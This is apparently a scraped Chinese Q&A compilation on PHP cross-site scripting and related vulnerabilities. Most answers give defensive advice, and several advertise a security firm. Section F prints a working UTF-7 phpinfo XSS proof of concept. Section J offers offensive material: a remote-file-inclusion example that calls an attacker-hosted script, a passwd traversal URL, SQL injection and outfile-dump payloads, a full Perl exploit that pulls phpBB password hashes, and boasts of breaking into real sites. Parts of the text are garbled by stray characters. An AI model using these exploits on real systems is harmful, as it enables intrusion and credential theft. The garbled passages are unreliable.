php跨站漏洞
A. 在電商網站開發中有哪些常見漏洞
一、常見php網站安全漏洞
對於PHP的漏洞,目前常見的漏洞有五種。分別是Session文件漏洞、sql注入漏洞、腳本命令執行漏洞、全局變數漏洞和文件漏洞。這里分別對這些漏洞進行簡要的介紹。
1、session文件漏洞
Session攻擊是黑客最常用到的攻擊手段之一。當一個用戶訪問某一個網站時,為了免客戶每進人一個頁面都要輸人賬號和密碼,PHP設置了Session和Cookie用於方便用戶的使用和訪向。
2、SQL注入漏洞
在進行網站開發的時候,程序員由於對用戶輸人數據缺乏全面判斷或者過濾不嚴導致伺服器執行一些惡意信息,比如用戶信息查詢等。黑客可以根據惡意程序返回的結果獲取相應的信息。這就是月行胃的SQL注入漏洞。
3、腳本執行漏洞
腳本執行漏洞常見的原因是由於程序員在開發網站時對用戶提交的URL參數過濾較少引起的,用戶提交的URL可能包含惡意代碼導致跨站腳本攻擊。腳本執行漏洞在以前的PHP網站中經常存在,但是隨著PHP版本的升級,這些間題已經減少或者不存在了。
4、全局變數漏洞
PHP中的變數在使用的時候不像其他開發語言那樣需要事先聲明,PHP中的變數可以不經聲明就直接使用,使用的時候系統自動創建,而且也不需要對變 量類型進行說明,系統會自動根據上下文環境自動確定變數類型。這種方式可以大大減少程序員編程中出錯的概率,使用起來非常的方便。
5、文件漏洞
文件漏洞通常是由於網站開發者在進行網站設計時對外部提供的數據缺乏充分的過濾導致黑客利用其中的告攜漏洞在Web進程上執襪敏伏行相應的命令。
二、PHP常見漏洞的防範措施
1、對於Session漏洞的防範
從前面的分析可以知道,Session攻擊最常見的就是會話劫持,也就是黑客通過各種攻擊手段獲取用戶的Session ID,然後利用被攻擊用戶的身份來登錄相應網站。為此,這里可以用以下幾種方法進行防範:一是定期更換Session ID,更換Session ID可以用PHP自帶函數來實現;二是更拿桐換Session名稱,通常情況下Session的默認名稱是PHPSESSID,這個變數一般是在cookie中保存的,如果更改了它的名稱,就可以阻檔黑客的部分攻擊;三是對透明化的Session ID進行關閉處理,所謂透明化也就是指在http請求沒有使用cookies來制定Session id時,Sessioin id使用鏈接來傳遞.關閉透明化Session ID可以通過操作PHP.ini文件來實現;四是通過URL傳遞隱藏參數,這樣可以確保即使黑客獲取了session數據,但是由於相關參數是隱藏的,它也很難獲得Session ID變數值。
2、對SQL注入漏洞的防範
黑客進行SQL注入手段很多,而且靈活多變,但是SQL注人的共同點就是利用輸入過濾漏洞。因此,要想從根本上防止SQL注入,根本解決措施就是加強對請求命令尤其是查詢請求命令的過濾。具體來說,包括以下幾點:一是把過濾性語句進行參數化處理,也就是通過參數化語句實現用戶信息的輸入而不是直接把用戶輸入嵌入到語句中。二是在網站開發的時候盡可能少用解釋性程序,黑客經常通過這種手段來執行非法命令;三是在網站開發時盡可能避免網站出現bug,否則黑客可能利用這些信息來攻擊網站;僅僅通過防禦SQL注入還是不夠的,另外還要經常使用專業的漏洞掃描工具對網站進行漏洞掃描。
3、對腳本執行漏洞的防範
黑客利用腳本執行漏洞進行攻擊的手段是多種多樣的,而且是靈活多變的,對此,必須要採用多種防範方法綜合的手段,才能有效防止黑客對腳本執行漏洞進行攻擊。這里常用的方法方法有以下四種。一是對可執行文件的路徑進行預先設定。
4、對全局變數漏洞防範
對於PHP全局變數的漏洞問題,以前的PHP版本存在這樣的問題,但是隨著PHP版本升級到5.5以後,可以通過對php.ini的設置來實現,設置ruquest_order為GPC。另外在php.ini配置文件中,可以通過對Magic_quotes_runtime進行布爾值設置是否對外部引人的數據中的溢出字元加反斜線。為了確保網站程序在伺服器的任何設置狀態下都能運行。
5、對文件漏洞的防範
對於PHP文件漏桐可以通過對伺服器進行設置和配置來達到防範目的。這里具體的操作如下:一是把PHP代碼中的錯誤提示關閉,這樣可以避免黑客通過錯誤提示獲取資料庫信息和網頁文件物理路徑;二是對open_basedir盡心設置,也就是對目錄外的文件操作進行禁止處理;這樣可以對本地文件或者遠程文件起到保護作用,防止它們被攻擊,這里還要注意防範Session文件和上載文件的攻擊;三是把safe-made設置為開啟狀態,從而對將要執行的命令進行規范,通過禁止文件上傳,可以有效的提高PHP網站的安全系數。
B. 如何實現php的安全最大化怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞
使用php安全模式
伺服器要做好管理,賬號許可權是否合理。
假定所有用戶的輸入都是「惡意」的,防止XSS攻擊,譬如:對用戶的輸入輸出做好必要的過濾
防止CSRF,表單設置隱藏域,post一個隨機字元串到後台,可以有效防止跨站請求偽造。
文件上傳,檢查是否做好效驗,要注意上傳文件存儲目錄許可權。
防禦SQL注入。
避免SQL注入漏洞
1.使用預編譯語句
2.使用安全的存儲過程
3.檢查輸入數據的數據類型
4.從資料庫自身的角度考慮,應該使用最小許可權原則,不可使用root或dbowner的身份連接資料庫。若多個應用使用同一個資料庫,也應該為資料庫分配不同的賬戶。web應用使用的資料庫賬戶,不應該有創建自定義函數,操作本地文件的許可權。
避免XSS跨站腳本攻擊
1.假定所有用戶輸入都是「邪惡」的
2.考慮周全的正則表達式
3.為cookie設置HttpOnly,防止cookie劫持
4.外部js不一定可靠
5.出去不必要的HTML注釋
6. 針對非法的HTML代碼包括單雙引號等,使用htmlspecialchars()函數。
C. php網站怎樣解決跨站腳本攻擊漏洞
這應該是一套開源的CMS系統,每套CMS系統源碼不一樣,但是只要發現$_GET,$_REQUEST這樣的代碼,都可以改成$out = htmlspecialchars($_GET[XXX],ENT_QUOTES)
D. php網站用websaber評估有跨站腳本攻擊漏洞
防範的方式也簡單:
1、程序代碼漏洞,這需要有安全意識的程序員才能修復得了,通常是在出現被掛馬以後才知道要針對哪方面入手修復;
2、也可以通過安全公司來解決,國內也就Sinesafe和綠盟等安全公司 比較專業.
3.伺服器目錄許可權的「讀」、「寫」、「執行」,「是否允許腳本」,等等,使用經營已久的虛擬空間提供商的空間,可以有效降低被掛馬的幾率。
我是從事IDC行業的.以上這些也是平時工作中經常遇到的問題.希望我的回答對你有所幫助.
E. 我linux伺服器上面有兩個站點用php語言file_exists跨站檢測和unlink刪除文件為啥失效
跨站點旅旦檢測和取消鏈接刪除文件不是使用 PHP 語言 file_exists 函數的有效方法。 file_exists 函數用於確定文件是否存在於系統中,而不是刪除它。 要刪除文件,畢纖應該使用 unlink 函數。 此外,使用 file_exists 函數來確定文件是否存在於手鎮仿另一個網站上不是對該函數的有效使用,並且可能導致潛在的安全問題。
F. 什麼是phpinfo xss跨站腳本攻擊漏洞
php是一款被廣泛使用的編程語言,可以被嵌套在html里用做web程序開發。phpinfo()是用來顯示當前php環境的一個函數,許多站點和程序都會將phpinfo放在自己的站點上或者在程序里顯示,但是phpinfo里存在一些安全問題,導致精心構造數據就可以產生一個跨站腳本漏洞,可以被用來進行攻擊。
漏洞成因: phpinfo頁面對輸入的參數都做了詳細的過濾,但是沒有對輸出的進行charset的指定,而在一些瀏覽器里如IE7里,你可以讓它自動選擇編碼或者通過一個iframe頁面給它指定編碼,這樣就可以饒過phpinfo的過濾而產生一個跨站腳本漏洞。
漏洞來源: http://www.80sec.com/release/phpinfo-xss.txt
漏洞利用: 利用代碼如下:
<html>
<head>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</head>
<body>
<iframe src="http://www.80sec.com/phpinfo.php?+ADw-SCRIPT+AD4-alert(document.domain);+ADw-/SCRIPT+AD4-=1">
以上代碼在IE7+php 5.2.6測試成功。phpinfo頁面的xss甚至比其他頁面更加危險,因為如果有phpinfo的存在,惡意攻擊者可以利用phpinfo的輸出bypass如httponly和一些基礎認證。
漏洞影響: 影響所有版本的php和瀏覽器IE7
漏洞修補: 建議暫時刪除站點的phpinfo頁面避免被人利用。
G. 如何防止跨站點腳本攻擊
你好~
XSS漏洞產生的原因:
跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕松地認為用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對用戶輸入數據的」編碼」和」過濾」在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。
如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼
1 .需要重點」編碼」和」過濾」的對象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data
防禦XSS有一個原則:
以當前的應用系統為中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從資料庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向資料庫寫入數據)
對輸入的數據進行」過濾」,對輸出數據進行」編碼」。這里的」編碼」也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。
如果不搞清楚數據具體輸出的語境,就有可能因為HtmlParser()和javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的」編碼」形同虛設。
2. HtmlEncode HTML編碼
它的作用是將字元轉換成HTMLEntities,對應的標準是ISO-8859-1
為了對抗XSS,在HtmlEncode中要求至少轉換以下字元:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
在PHP中:
htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp
htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
3. javascriptEncode javascript」編碼」
javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義,它需要使用」\」對特殊字元進行轉義。從原理上來講,這都符合編碼函數的一個大原則: 將數據和代碼區分開,因為對於HTML Tag來說,我們對其進行」可視化(轉換成可以見字元)」的編碼可以將數據和HTML的界限分開。而對於javascript來說,我們除了要進行編碼之外,還需要對特殊字元進行轉義,這樣攻擊輸入的用於」閉合」的特殊字元就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變數必須在引號內部,以避免造成安全問題。
escape()
http://www.w3school.com.cn/js/jsref_escape.asp
該方法不會對 ASCII 字母和數字進行編碼,也不會對下面這些 ASCII 標點符號進行編碼: * @ – _ + . / 。其他所有的字元都會被轉義序列(十六進制\xHH)替換。
利用這個編碼函數,不僅能防禦XSS攻擊,還可以防禦一些command注入。
一些開源的防禦XSS攻擊的代碼庫:
PHP AntiXSS
這是一個不錯的PHP庫,可以幫助開發人員增加一層保護,防止跨站腳本漏洞。
https://code.google.com/p/php-antixss/
xss_clean.php filter
https://gist.github.com/mbijon/1098477
HTML Purifier
http://htmlpurifier.org/
xssprotect
https://code.google.com/p/xssprotect/
XSS HTML Filter
http://finn-no.github.io/xss-html-filter/
原文地址:http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/
希望可以幫助到你~望採納哦~謝謝~
H. php5.2.17程序跨站漏洞怎樣修復
如果程序不是很大,可以自己比對以前程序的備份文件,然後就是修復,或者換個伺服器,最好是獨立伺服器。也可以通過安全公司來解決,國內也就Sinesafe和綠盟等安全公司 比較專業.
I. PHP網站後門怎麼清除
一般都是網站程序存在漏洞或者伺服器存在漏洞而被攻擊了
網站掛馬是每個網站最頭痛的問題,解決辦法:1.在程序中很容易找到掛馬的代碼,直接刪除,或則將你沒有傳伺服器的源程序覆蓋一次但反反復復被掛就得深入解決掉此問題了。但這不是最好的解決辦法。最好的方法還是找專業做安全的來幫你解決掉
聽朋友說 SineSafe 不錯 你可以去看看。
清馬+修補漏洞=徹底解決
所謂的掛馬,就是黑客通過各種手段,包括SQL注入,網站敏感文件掃描,伺服器漏洞,網站程序0day, 等各種方法獲得網站管理員賬號,然後登陸網站後台,通過資料庫 備份/恢復 或者上傳漏洞獲得一個webshell。利用獲得的webshell修改網站頁面的內容,向頁面中加入惡意轉向代碼。也可以直接通過弱口令獲得伺服器或者網站FTP,然後直接對網站頁面直接進行修改。當你訪問被加入惡意代碼的頁面時,你就會自動的訪問被轉向的地址或者下載木馬病毒
清馬
1、找掛馬的標簽,比如有<script language="javascript" src="網馬地址"></script>或<iframe width=420 height=330 frameborder=0
scrolling=auto src=網馬地址></iframe>,或者是你用360或病殺毒軟體攔截了網馬網址。SQL資料庫被掛馬,一般是JS掛馬。
2、找到了惡意代碼後,接下來就是清馬,如果是網頁被掛馬,可以用手動清,也可以用批量清,網頁清馬比較簡單,這里就不詳細講,現在著重講一下SQL資料庫清馬,用這一句語句「update 表名 set 欄位名=replace(欄位名,'aaa','')」, 解釋一下這一句子的意思:把欄位名里的內容包含aaa的替換成空,這樣子就可以一個表一個表的批量刪除網馬。
在你的網站程序或資料庫沒有備份情況下,可以實行以上兩步驟進行清馬,如果你的網站程序有備份的話,直接覆蓋原來的文件即可。
修補漏洞(修補網站漏洞也就是做一下網站安全。)
1、修改網站後台的用戶名和密碼及後台的默認路徑。
2、更改資料庫名,如果是ACCESS資料庫,那文件的擴展名最好不要用mdb,改成ASP的,文件名也可以多幾個特殊符號。
3、接著檢查一下網站有沒有注入漏洞或跨站漏洞,如果有的話就相當打上防注入或防跨站補丁。
4、檢查一下網站的上傳文件,常見了有欺騙上傳漏洞,就對相應的代碼進行過濾。
5、盡可能不要暴露網站的後台地址,以免被社會工程學猜解出管理用戶和密碼。
6、寫入一些防掛馬代碼,讓框架代碼等掛馬無效。
7、禁用FSO許可權也是一種比較絕的方法。
8、修改網站部分文件夾的讀寫許可權。
9、如果你是自己的伺服器,那就不僅要對你的網站程序做一下安全了,而且要對你的伺服器做一下安全也是很有必要了!
J. php源碼漏洞多少錢
從現在的網路安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在
很嚴重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.
我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至於
COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多.那麼,我們就一個一個來分析一下怎樣利用這些漏洞吧!
首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由於不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這
些漏洞以WEB進程許可權在系統上執行任意命令.我們來看一個例子假設在a.php中有這樣一句代碼
php
include($include.***.php);
在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交
a.phpinclude=httpwebb.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似於
passthru(binls etc);的代碼.這樣,就可以執行一些有目的的攻擊了.(注web伺服器應該不能執行php代碼,不然就出問題了.相關詳情可以去看
如何對PHP程序中的常見漏洞進行攻擊).在這個漏洞方面,出狀況的很多,比方說PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接著,我們再來看一下腳本命令執行漏洞.這是由於對用戶提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的數據,可導致觸發跨站腳
本攻擊,可能獲得目標用戶的敏感信息。我們也舉個例子在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充
分的過濾,我們可以通過這樣的代碼來達到攻擊的目的
httpwebindex.phpPHPSESSID=script...script在script裡面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了
PHP Transparent之外還有PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然後,我們就來看看文件泄露漏洞了.這種漏洞是由於對用戶提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取
一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊
者提交包含多個'..'字元的數據,便可繞過WEB ROOT限制,以WEB許可權查看系統上的任意文件信息。比方說打入這樣一個地址
export.phpwhat=............etcpasswd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有myPHPNuke,McNews等等.
最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麼爽,以前還要手動注入,一直到小竹悟出SQL注入密笈(嘿
嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點
跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成ASCII,len
改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢不錯,俗話說樹大招分,像動網這樣的論壇在
asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也
是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞
,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.
這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好.
好了,我們還是來分析一下漏洞產生的原因吧.拿viewtopic.php頁面來說,由於在調用viewtopic.php時,直接從GET請求中獲得topic_id並
傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字元串用於獲得MD5密碼,獲得此密碼信息可以用於自動登錄或者
進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議
你看了再對著這里來看,受影響系統為phpBB 2.0.5和phpBB 2.0.4).
# $sql = SELECT p.post_id
# FROM . POSTS_TABLE . p, . SESSIONS_TABLE . s, . USERS_TABLE . u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1;
Rick提供了下面的這斷測試代碼
use IOSocket;
$remote = shift 'localhost';
$view_topic = shift 'phpBB2viewtopic.php';
$uid = shift 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print Trying to get password hash for uid $uid server $remote dbtype $dbtypen;
$p = ;
for($index=1; $index=32; $index++)
{
$socket = IOSocketINET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = tcp,
Type = SOCK_STREAM)
or die Couldnt connect to $remote$port [email=$@n]$@n[/email];
$str = GET $view_topic . sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . HTTP1.0nn;
print $socket $str;
print $socket Cookie phpBB2mysql_sid=1n; # replace this for pgsql or remove it
print $socket Host $remotenn;
while ($answer = $socket)
{
if ($answer =~ location.x23(d+)) # Matches the location viewtopic.phpp=num#num
{
$p .= chr ($1);
}
}
close($socket);
}
print nMD5 Hash for uid $uid is $pn;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $ilength($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) 1000;
if (int($j) % 2 $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return union select ord(substring(user_password, . $index . ,1)) from phpbb_users where user_id=$uid ;
} elsif ($dbtype eq 'pgsql')
{
return ; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users
u where u.user_id=$uid or false;
}
else
{
return ;
}
}
這斷代碼,我就不多做解釋了.作用是獲得HASH值.
看到這里,大家可能有點疑問,為什麼我前面講的那些改的函數怎麼沒有用到,我講出來不怕大家笑話其實網上很多站點有些頁面的查詢語句
看起來會是這樣
display.phpsqlsave=select++from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,這是真的,我還靠這個進過幾個大型網站.至於哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網路中心的看
不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!!
差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,MySQL對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql
資料庫中都不能奏效了. 一般我們常見的注入語句像這樣aaa.phpid=a' into outfile 'pass.txt或是aaa.phpid=a' into outfile 'pass.txt'
再進一步可以改成aaa.phpid=a' or 1=1 union select id,name,password form users into outfile 'ca.txt
這樣可以將資料庫數據導出為文件,然後可以查看.
或是這樣mode=',user_level='4
這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升許可權的做用.
其它的如' OR 1=1 -- 或者1' or 1='1則跟asp差不多.這里不多講了.在php裡面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.
其實大家可以看出來,上面那些分類歸根結底只有一個原因提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這里,就大致講一下
防範的方法吧.
首先,我個人認為最重要的一點是將magic_quotes_gpc高為ON,它的作用是將單引號,雙引號,反斜線,和空字元轉換為含有反斜線的字元,如
select from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字元串將被轉
換成這樣select from admin where username='a' and password='1' or 1='1'從而達到阻止注入的目的,事實也就是自動進行了addslashes
()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因為myslq4以下版本不支持子語句,而新版本的mysql又會
將magic_quotes_gpc選項默認為開.
解決包含文件漏洞用的方法就是要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕
對不能由用戶任意指定,建議設global_variables為off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要
關閉PHP的遠程文件打開功能。修改php.ini文件:allow_url_fopen = Off(注參見PHP安全問題:遠程溢出、DoS、safe_mode繞過漏洞).
還有一點我覺得很多網站都會有這個問題,就是沒有關錯誤顯示.輕一看可能沒什麼,但是一些盯了很久(用詞有點不對哦)的人就可以通過錯
誤提示來獲得如資料庫信息,網頁文件物理路徑等等.